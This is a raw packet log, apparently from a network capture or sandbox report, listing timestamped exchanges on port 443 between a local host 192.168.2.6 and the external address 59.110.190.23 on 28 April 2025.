Apr 28, 2025 16:40:58.880476952 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.880651951 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.882173061 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.882234097 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.885611057 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.885664940 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.887269020 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.887321949 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.890645027 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.890697956 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.892379999 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.892426014 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.894007921 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.894057989 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.897339106 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.897392035 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.898957968 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.898997068 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.902270079 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.902319908 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.903879881 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.903933048 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.905636072 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.905687094 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.908827066 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.908895969 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.910571098 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.910631895 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.913898945 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.913958073 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.915297985 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.915353060 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.916899920 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.917018890 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.920047045 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.920106888 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.923279047 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.923336029 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.924845934 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.924895048 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.927867889 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.927934885 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.929524899 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.929584026 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.931086063 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.931135893 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.934309006 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.934376001 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.935822964 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.935903072 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.938862085 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.938915014 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.940438032 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.940484047 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.941878080 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.941934109 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.945031881 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.945080996 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.946566105 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.946616888 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.949604034 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.949654102 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.951205015 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.951252937 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.952652931 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.952706099 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.955916882 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.955971003 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.957130909 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.957180023 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.960299969 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.960341930 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.961632967 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.961682081 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.963130951 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.963182926 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.966259003 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.966305971 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.967736006 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.967788935 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.970757961 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.970805883 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.972248077 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.972301006 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.973758936 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.973802090 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.976764917 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.976809025 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.979811907 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.979860067 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.981411934 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.981458902 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.982844114 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.982889891 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.985949039 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.985999107 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.987422943 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.987483025 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.990408897 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.990467072 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.991975069 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.992019892 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.993379116 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.993434906 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.996465921 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.996514082 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:58.997881889 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:58.997931957 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.000933886 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.000989914 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.002690077 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.002746105 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.004024029 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.004087925 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.007102013 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.007149935 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.008579016 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.008635998 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.011593103 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.011650085 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.013242960 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.013297081 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.014573097 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.014626980 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.017674923 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.017735004 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.019185066 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.019233942 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.022130013 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.022190094 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.023787975 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.023838043 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.025263071 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.025326014 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.028249979 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.028342009 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.029844046 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.029891968 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.032883883 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.032942057 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.034312963 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.034370899 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.037240028 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.037303925 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.038733959 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.038785934 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.041737080 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.041800022 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.043226957 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.043282986 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.044785976 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.044841051 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.047619104 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.047698021 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.049058914 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.049105883 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.052071095 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.052130938 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.053431034 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.053483963 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.054940939 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.055005074 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.058166027 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.058227062 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.059360027 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.059415102 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.062263966 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.062325001 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.063826084 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.063880920 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.065330982 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.065407991 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.068197012 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.068268061 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.069578886 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.069638014 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.072812080 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.072875023 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.074135065 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.074186087 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.075524092 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.075577021 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.078335047 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.078392029 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.079865932 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.079922915 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.082717896 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.082773924 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.084419012 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.084474087 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.085625887 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.085669994 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.088414907 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.088485003 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.091321945 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.091378927 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.092791080 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.092840910 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.094165087 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.094218016 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.097027063 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.097079992 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.098421097 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.098484039 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.101295948 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.101356983 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.102555990 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.102612972 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.104197979 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.104263067 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.106745958 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.106811047 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.108181000 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.108283997 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.111069918 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.111150026 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.112495899 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.112571001 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.113835096 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.113914967 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.116636992 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.116717100 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.117971897 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.118036985 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.120623112 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.120697975 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.122040033 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.122134924 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.123553038 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.123620033 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.126084089 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.126156092 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.127593040 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.127665997 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.130280972 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.130373001 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.131571054 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.131645918 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.132957935 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.133037090 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.135831118 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.135916948 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.137113094 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.137200117 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.139821053 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.139902115 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.141150951 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.141215086 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.144207954 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.144298077 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.145483971 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.145545959 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.148304939 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.148407936 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.149439096 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.149502993 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.150794983 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.150867939 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.153491974 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.153563976 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.154975891 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.155040979 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.157567024 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.157638073 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.159238100 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.159317017 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.160365105 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.160468102 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.163037062 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.163101912 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.164486885 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.164549112 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.167344093 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.167418957 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.168622017 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.168692112 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.170005083 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.170063019 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.172606945 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.172669888 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.174093962 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.174150944 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.176830053 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.176891088 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.178282976 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.178337097 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.179500103 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.179555893 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.182171106 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.182229996 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.183582067 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.183660984 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.186292887 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.186337948 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.188939095 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.189039946 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.189116001 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.189172029 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.191912889 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.191966057 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.194757938 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.194823027 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.195883036 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.195940018 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.198668003 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.198725939 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.199963093 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.200021982 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.201433897 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.201491117 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.204149008 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.204224110 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.205559969 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.205626965 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.208275080 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.208348036 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.209662914 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.209728003 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.210943937 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.211004019 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.213727951 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.213788033 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.215248108 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.215326071 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.218313932 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.218370914 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.219507933 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.219558954 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.220733881 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.220789909 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.223304987 CEST	443	49698	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:59.223364115 CEST	49698	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:59.224684000 CEST	443	49698	59.110.190.23	192.168.2.6
